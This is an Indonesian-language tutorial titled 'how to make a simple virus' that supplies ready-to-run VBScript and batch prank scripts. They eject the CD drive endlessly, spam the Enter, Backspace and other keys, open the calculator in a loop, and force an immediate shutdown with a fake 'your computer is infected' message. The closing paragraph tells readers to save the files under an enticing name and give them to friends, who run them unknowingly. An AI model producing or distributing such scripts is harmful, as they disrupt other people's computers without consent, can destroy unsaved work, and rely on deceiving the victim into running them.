CARA MEMBUAT VIRUS SEDERHANA III

Cara membuat virus sederhana III 

1. Meng-eject Drive CD-Room Terus-Menerus
  
 Set oWMP = CreateObject(“WMPlayer.OCX.7″)
    Set colCDROMs = oWMP.cdromCollection
    do
    if colCDROMs.Count >= 1 then
    For i = 0 to colCDROMs.Count – 1
    colCDROMs.Item(i).Eject
    Next
    For i = 0 to colCDROMs.Count – 1
    colCDROMs.Item(i).Eject
    Next
    End If
    wscript.sleep 5000
    loop

2. Tombol Enter Terus-terusan Aktif

Set wshShell = wscript.CreateObject(“WScript.Shell”)
    do
    wscript.sleep 100
    wshshell.sendkeys “~(enter)”
    loop

3. Pesan Lambat Notepad “Hello, how are you? I am good thanks!

WScript.Sleep 180000
    WScript.Sleep 10000
    Set WshShell = WScript.CreateObject(“WScript.Shell”)
    WshShell.Run “notepad”
    WScript.Sleep 100
    WshShell.AppActivate “Notepad”
    WScript.Sleep 500
    WshShell.SendKeys “Hel”
    WScript.Sleep 500
    WshShell.SendKeys “lo ”
    WScript.Sleep 500
    WshShell.SendKeys “, ho”
    WScript.Sleep 500
    WshShell.SendKeys “w a”
    WScript.Sleep 500
    WshShell.SendKeys “re ”
    WScript.Sleep 500
    WshShell.SendKeys “you”
    WScript.Sleep 500
    WshShell.SendKeys “? ”
    WScript.Sleep 500
    WshShell.SendKeys “I a”
    WScript.Sleep 500
    WshShell.SendKeys “m g”
    WScript.Sleep 500
    WshShell.SendKeys “ood”
    WScript.Sleep 500
    WshShell.SendKeys ” th”
    WScript.Sleep 500
    WshShell.SendKeys “ank”
    WScript.Sleep 500
    WshShell.SendKeys “s! “

4. Dengan Backspace (Jika menekan tombol Bacspace akan keluar tulisan "Maaf anda harus mengulang kembali" atau bisa dibuat semau kita.) 

MsgBox “Maaf, Anda Harus Mengulang Kembali”
    Set wshShell =wscript.CreateObject(“WScript.Shell”)
    do
    wscript.sleep 100
    wshshell.sendkeys “{bs}”
    loop

5. Dengan Membuka Calculator Terus Menerus

ECHO off
    :top
    START %SystemRoot%\system32\cacl.exe
    GOTO top

    6. Iseng dengan Keyboard (tampil tulisan yang kita inginkan)
 
    [code]Set wshShell = wscript.CreateObject(“WScript.Shell”)
    do
    wscript.sleep 100
    wshshell.sendkeys “Maaf, Keyboard Tidak Berfungsi! Harap Diperbaiki”
    loop[/code]

6. Dengan Shutdown Komputer

@echo off
    msg * Komputer Anda Terinfeksi Virus
    shutdown -c “Error! Virus Menyebar Keseluruh System!” -s -t 0   

Semua trik di atas (No. 1 sampai 6 di simpan / save menggunakan .VBS (misalnya pake nama yang bikin penasaran, misalnya:  Keren.VBS) dan save as type-nya pake all files, setelah itu berikan ke temen yang mau kita isengin....! Nah nanti temen pasti penasaran dan buka notepad itu, Jreng.....jreng... komputer langsung mengikuti perintah sesuai judul di atas!